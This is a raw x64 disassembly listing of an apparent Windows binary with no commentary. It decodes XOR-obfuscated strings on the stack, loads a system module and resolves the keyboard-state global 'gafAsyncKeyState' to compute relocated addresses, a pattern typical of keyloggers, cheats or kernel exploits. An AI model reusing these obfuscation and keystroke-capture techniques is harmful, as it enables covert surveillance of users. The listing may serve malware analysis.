jne 0x1400332a4
movabs rax, 0x35cf523a461cba
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe879e1ed4c0e2f3
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x35cf2055346eff
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x800], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x810], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x820], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x830], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x840], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x850], xmm0
movabs rax, 0x9532d67a130093b
mov qword [rbp + 0x80f0], rax
movabs rcx, 0x16e2291c26b42f0b
mov qword [rbp + 0x80f8], rcx
xorps xmm2, xmm2
movabs rax, 0x9591d479c105e7e
mov qword [rbp + 0x8110], rax
mov qword [rbp + 0x8118], rcx
xorps xmm0, xmm0
movdqa xmm1, xmmword [rbp + 0x80f0]
pxor xmm1, xmmword [rbp + 0x8110]
pxor xmm2, xmm0
movaps xmmword [rbp + 0x360], xmm1
movaps xmmword [rbp + 0x370], xmm2
movaps xmm0, xmmword [rbp + 0x380]
movaps xmmword [rbp + 0x380], xmm0
movaps xmm1, xmmword [rbp + 0x390]
movaps xmmword [rbp + 0x390], xmm1
movaps xmm0, xmmword [rbp + 0x3a0]
movaps xmmword [rbp + 0x3a0], xmm0
movaps xmm1, xmmword [rbp + 0x3b0]
movaps xmmword [rbp + 0x3b0], xmm1
movaps xmm0, xmmword [rbp + 0x3c0]
movaps xmmword [rbp + 0x3c0], xmm0
movaps xmm1, xmmword [rbp + 0x3d0]
movaps xmmword [rbp + 0x3d0], xmm1
lea r8, [rbp + 0x800]
lea rdx, [rbp + 0x360]
jmp 0x140032afe
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0x104
lea rcx, [rbp + 0x8410]
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
xor eax, eax
mov qword [rbp + 0x8090], rax
mov qword [rbp + 0x80a0], rax
mov qword [rbp + 0x80a8], 7
mov word [rbp + 0x8090], ax
lea rax, [rbp + 0x8410]
mov r8, 0xffffffffffffffff
nop word [rax + rax]
inc r8
cmp word [rax + r8*2], 0
jne 0x140033300
lea rdx, [rbp + 0x8410]
lea rcx, [rbp + 0x8090]
call fcn.14005a180
nop
movabs rax, 0x1d561b28bdcf0a79
mov qword [rbp + 0x30], rax
movabs rax, 0x157b2bb8f0cb269a
mov qword [rbp + 0x38], rax
movabs rax, 0xb7f9135ea92f92b
mov qword [rbp + 0x40], rax
movabs rax, 0x1509df4b82d1cb6
mov qword [rbp + 0x48], rax
movabs rax, 0x178e7d498396a85f
mov qword [rbp + 0x50], rax
movabs rax, 0x130ad060f4f4c230
mov qword [rbp + 0x58], rax
mov qword [rbp + 0x60], r15
movabs rcx, 0xe000000020048e8f
mov qword [rbp + 0x68], rcx
xorps xmm6, xmm6
xorps xmm7, xmm7
xorps xmm8, xmm8
xorps xmm9, xmm9
movabs rax, 0x1d251b51bd9c0a25
mov qword [rbp + 0xb0], rax
movabs rax, 0x15482bd5f0ae26ee
mov qword [rbp + 0xb8], rax
movabs rax, 0xb169142eacef919
mov qword [rbp + 0xc0], rax
movabs rax, 0x13b9dc6b81e1cd8
mov qword [rbp + 0xc8], rax
movabs rax, 0x17eb7d3a83f7a83d
mov qword [rbp + 0xd0], rax
movabs rax, 0x1379d019f487c21e
mov qword [rbp + 0xd8], rax
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
xorps xmm4, xmm4
xorps xmm5, xmm5
movdqa xmm0, xmmword [rbp + 0x30]
pxor xmm0, xmmword [rbp + 0xb0]
movdqa xmmword [rbp + 0x80f0], xmm0
movdqa xmm1, xmmword [rbp + 0xc0]
pxor xmm1, xmmword [rbp + 0x40]
movdqa xmmword [rbp + 0x8100], xmm1
movdqa xmm0, xmmword [rbp + 0xd0]
pxor xmm0, xmmword [rbp + 0x50]
movdqa xmmword [rbp + 0x8110], xmm0
movdqa xmm1, xmmword [rbp + 0xe0]
pxor xmm1, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x8120], xmm1
pxor xmm2, xmm6
movdqa xmmword [rbp + 0x8130], xmm2
pxor xmm3, xmm7
movdqa xmmword [rbp + 0x8140], xmm3
pxor xmm4, xmm8
movdqa xmmword [rbp + 0x8150], xmm4
pxor xmm9, xmm5
movdqa xmmword [rbp + 0x8160], xmm9
lea rax, [rbp + 0x3810]
lea rcx, [rbp + 0x80f0]
mov edx, 6
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x1400334b0
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
lea rax, [rbp + 0x3810]
mov rdx, 0xffffffffffffffff
nop
inc rdx
cmp word [rax + rdx*2], 0
jne 0x140033520
mov rcx, qword [rbp + 0x80a0]
mov r8, qword [rbp + 0x80a8]
mov rax, r8
sub rax, rcx
cmp rdx, rax
ja 0x14003357d
lea rsi, [rdx + rcx]
mov qword [rbp + 0x80a0], rsi
lea rdi, [rbp + 0x8090]
cmp r8, 8
cmovae rdi, qword [rbp + 0x8090]
lea rcx, [rdi + rcx*2]
lea r8, [rdx + rdx]
lea rdx, [rbp + 0x3810]
call sub.VCRUNTIME140.dll_memmove
xor eax, eax
mov word [rdi + rsi*2], ax
jmp 0x14003359b
mov qword [rsp + 0x20], rdx
lea r9, [rbp + 0x3810]
movzx r8d, byte [rsp + 0x30]
lea rcx, [rbp + 0x8090]
call fcn.140003de0
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0xa0b9f273301b977
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6a224e7ba82ef42e
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x6b69f415006fd000
mov qword [rbp + 0x8110], rax
movabs rax, 0x6a223d02db00915d
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x30]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
xor eax, eax
mov qword [rbp + 0x3e0], rax
movdqa xmm0, xmmword [0x140114c50]
movdqu xmmword [rbp + 0x3f0], xmm0
mov byte [rbp + 0x3e0], al
lea rax, [rbp + 0x30]
mov r8, 0xffffffffffffffff
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x1400336d0
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x3e0]
call fcn.14005a030
nop
lea rcx, [rbp + 0x3e0]
call fcn.140053a00
mov rsi, rax
lea rcx, [rbp + 0x3e0]
call fcn.14000b160
lea rcx, [rbp + 0x8090]
cmp qword [rbp + 0x80a8], 8
cmovae rcx, qword [rbp + 0x8090]
xor edx, edx
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov rdi, rax
test rax, rax
jne 0x14003384e
movabs rax, 0x396b048daf386d
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe8b380382440cd8
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x396b76e2dd4a28
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x860], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x870], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x880], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x890], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x8a0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x8b0], xmm0
movabs rax, 0x50852ab9a
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x1261a17658
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x50858e6f2
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x480], xmm0
movaps xmm0, xmmword [rbp + 0x490]
movaps xmmword [rbp + 0x490], xmm0
movaps xmm1, xmmword [rbp + 0x4a0]
movaps xmmword [rbp + 0x4a0], xmm1
movaps xmm0, xmmword [rbp + 0x4b0]
movaps xmmword [rbp + 0x4b0], xmm0
lea r8, [rbp + 0x860]
lea rdx, [rbp + 0x480]
jmp 0x1400349f8
lea rdx, str.gafAsyncKeyState
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14003386d
sub rax, rdi
add rax, rsi
mov qword [r14 + 0x28], rax
movabs rax, 0x7f187ba6cc502ac
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6efb7550bf400586
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x6882f5cf2fb172cb
mov qword [rbp + 0x8110], rax
movabs rax, 0x6efb163ec63344f4
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x30], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x40], xmm2
lea rcx, [rbp + 0x26f0]
lea rax, [rbp + 0x30]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
lea rax, [rax + 0x80]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rdx, [rbp + 0x26f0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140033981
sub rax, rdi
add rax, rsi
mov qword [r14 + 0x30], rax
movabs rax, 0x1207c6a5a9d5938
mov qword [rbp + 0x80b0], rax
movabs rcx, 0x161fb3fd7db85dbe
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x120051a39f03c55
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp - 0x50], xmm0
movaps xmm0, xmmword [rbp - 0x40]
movaps xmmword [rbp - 0x40], xmm0
movaps xmm1, xmmword [rbp - 0x30]
movaps xmmword [rbp - 0x30], xmm1
movaps xmm0, xmmword [rbp - 0x20]
movaps xmmword [rbp - 0x20], xmm0
movaps xmm1, xmmword [rbp - 0x10]
movaps xmmword [rbp - 0x10], xmm1
movaps xmm0, xmmword [rbp]
movaps xmmword [rbp], xmm0
movaps xmm1, xmmword [rbp + 0x10]
movaps xmmword [rbp + 0x10], xmm1
movabs rax, 0xf748159488a4329
mov qword [rbp + 0x80f0], rax
movabs rax, 0x6b29ffb5f3be10bd
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x631af3323be53747
mov qword [rbp + 0x8110], rax
movabs rax, 0x6b29ffb596c67593
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x1c60]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1c60]
call fcn.1400532e0
mov qword [r14 + 0x58], rax
test rax, rax
jne 0x140033c21
movabs rax, 0x3d33eb272db7a3
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe8c7dd7cd8bfc62
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x3d3399485fc5e6
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x8c0], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x8d0], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x8e0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x8f0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x900], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x910], xmm0
movabs rax, 0x1fffffffe571cb53
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe00000001a8413ba
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1fffffffe571c162
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x4c0], xmm0
movaps xmm0, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x4d0], xmm0
movaps xmm1, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x4e0], xmm1
lea r8, [rbp + 0x8c0]
lea rdx, [rbp + 0x4c0]
jmp 0x1400349f8
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x82657eb74c54f20
mov qword [rbp + 0x80f0], rax
movabs rax, 0x2ec64c79c24fdb2a
mov qword [rbp + 0x80f8], rax
movabs rax, 0x17cadb098e2bbf1a
mov qword [rbp + 0x8100], rax
movabs rax, 0x60c71d93cee44798
mov qword [rbp + 0x8108], rax
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x78533c841b893c70
mov qword [rbp + 0x8130], rax
movabs rax, 0x6cb53f1ca120a97a
mov qword [rbp + 0x8138], rax
movabs rax, 0x64b9be6ae159ef63
mov qword [rbp + 0x8140], rax
movabs rax, 0x60c71d93cee423d1
mov qword [rbp + 0x8148], rax
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm3, xmm5
movdqa xmmword [rbp + 0x60], xmm3
lea rax, [rbp + 0x5790]
lea rcx, [rbp + 0x30]
mov rdx, rbx
nop word [rax + rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140033d10
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movabs rax, 0x19b3f63d90849bfc
mov qword [rbp + 0x80f0], rax
movabs rax, 0x7167956a9ad77a2d
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x75dd8456e3ebef92
mov qword [rbp + 0x8110], rax
movabs rax, 0x7167956affaf1f03
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8110]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm1, xmm2
movdqa xmmword [rbp + 0x8100], xmm1
lea rcx, [rbp + 0x1d30]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x5790]
lea rcx, [rbp + 0x1d30]
call fcn.1400532e0
mov qword [r14 + 0x40], rax
test rax, rax
jne 0x140033f9d
movabs rax, 0x43986eeed9dc64
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe91cd9a0f27a50e
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x43981c81abae21
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x920], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x930], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x940], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x950], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x960], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x970], xmm0
movabs rax, 0x1fffffffe5edddf2
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe00000001a0247cd
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1fffffffe5edd7c0
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x4f0], xmm0
movaps xmm0, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x500], xmm0
movaps xmm1, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x510], xmm1
lea r8, [rbp + 0x920]
lea rdx, [rbp + 0x4f0]
jmp 0x1400349f8
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
movabs rax, 0x1ed11bf5378ad64
mov qword [rbp + 0x80f0], rax
movabs rax, 0x191ecf3ac656fd4
mov qword [rbp + 0x80f8], rax
movabs rax, 0x423dc822a5d3
mov qword [rbp + 0x8100], rax
movabs rcx, 0x69d8c48baf7ebb3
mov qword [rbp + 0x8108], rcx
xorps xmm4, xmm4
xorps xmm5, xmm5
movabs rax, 0x678863da171ecf2b
mov qword [rbp + 0x8130], rax
movabs rax, 0x63de8990c2001db1
mov qword [rbp + 0x8138], rax
movabs rax, 0x423dbc41c0b9
mov qword [rbp + 0x8140], rax
mov qword [rbp + 0x8148], rcx
xorps xmm2, xmm2
xorps xmm3, xmm3
movdqa xmm0, xmmword [rbp + 0x80f0]
pxor xmm0, xmmword [rbp + 0x8130]
movdqa xmmword [rbp + 0x30], xmm0
movdqa xmm1, xmmword [rbp + 0x8100]
pxor xmm1, xmmword [rbp + 0x8140]
movdqa xmmword [rbp + 0x40], xmm1
pxor xmm4, xmm2
movdqa xmmword [rbp + 0x50], xmm4
pxor xmm5, xmm3
movdqa xmmword [rbp + 0x60], xmm5
lea rax, [rbp + 0x3b30]
lea rcx, [rbp + 0x30]
mov rdx, r13
nop dword [rax]
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rax + 0x50], xmm1
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rax - 0x10], xmm1
lea rcx, [rcx + 0x80]
sub rdx, 1
jne 0x140034080
movups xmm0, xmmword [rcx]
movups xmmword [rax], xmm0
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rax + 0x10], xmm1
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rax + 0x20], xmm0
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rax + 0x30], xmm1
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rax + 0x40], xmm0
movabs rax, 0x763626f95d4cf63
mov qword [rbp + 0x80f0], rax
movabs rax, 0x7bd49be28960e104
mov qword [rbp + 0x80f8], rax
xorps xmm2, xmm2
movabs rax, 0x6b0d1004e6bbbb0d
mov qword [rbp + 0x8110], rax
movabs rax, 0x7bd49be2ec18842a
mov qword [rbp + 0x8118], rax
xorps xmm1, xmm1
movdqa xmm0, xmmword [rbp + 0x8110]
pxor xmm0, xmmword [rbp + 0x80f0]
movdqa xmmword [rbp + 0x80f0], xmm0
pxor xmm2, xmm1
movdqa xmmword [rbp + 0x8100], xmm2
lea rcx, [rbp + 0x1e00]
lea rax, [rbp + 0x80f0]
movups xmm0, xmmword [rax]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x40], xmm0
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x50], xmm1
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x60], xmm0
lea rcx, [rcx + 0x80]
movups xmm1, xmmword [rax + 0x70]
movups xmmword [rcx - 0x10], xmm1
movups xmm0, xmmword [rax + 0x80]
movups xmmword [rcx], xmm0
movups xmm1, xmmword [rax + 0x90]
movups xmmword [rcx + 0x10], xmm1
movups xmm0, xmmword [rax + 0xa0]
movups xmmword [rcx + 0x20], xmm0
movups xmm1, xmmword [rax + 0xb0]
movups xmmword [rcx + 0x30], xmm1
movups xmm0, xmmword [rax + 0xc0]
movups xmmword [rcx + 0x40], xmm0
xor r8d, r8d
lea rdx, [rbp + 0x3b30]
lea rcx, [rbp + 0x1e00]
call fcn.1400532e0
mov qword [r14 + 0x50], rax
test rax, rax
jne 0x14003431d
movabs rax, 0x41df3b409b4c5d
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe9025c3526519ba
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x41df492fe93e18
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x980], xmm0
movaps xmm0, xmmword [rsp + 0x50]
movaps xmmword [rbp + 0x990], xmm0
movaps xmm1, xmmword [rsp + 0x60]
movaps xmmword [rbp + 0x9a0], xmm1
movaps xmm0, xmmword [rsp + 0x70]
movaps xmmword [rbp + 0x9b0], xmm0
movaps xmm1, xmmword [rbp - 0x80]
movaps xmmword [rbp + 0x9c0], xmm1
movaps xmm0, xmmword [rbp - 0x70]
movaps xmmword [rbp + 0x9d0], xmm0
movabs rax, 0x1fffffffe5dd79f5
mov qword [rbp + 0x80b0], rax
movabs rcx, 0xe00000001a28ad99
mov qword [rbp + 0x80b8], rcx
movabs rax, 0x1fffffffe5dd73c6
mov qword [rbp + 0x80c0], rax
mov qword [rbp + 0x80c8], rcx
movdqa xmm0, xmmword [rbp + 0x80b0]
pxor xmm0, xmmword [rbp + 0x80c0]
movaps xmmword [rbp + 0x520], xmm0
movaps xmm0, xmmword [rbp + 0x240]
movaps xmmword [rbp + 0x530], xmm0
movaps xmm1, xmmword [rbp + 0x250]
movaps xmmword [rbp + 0x540], xmm1
lea r8, [rbp + 0x980]
lea rdx, [rbp + 0x520]
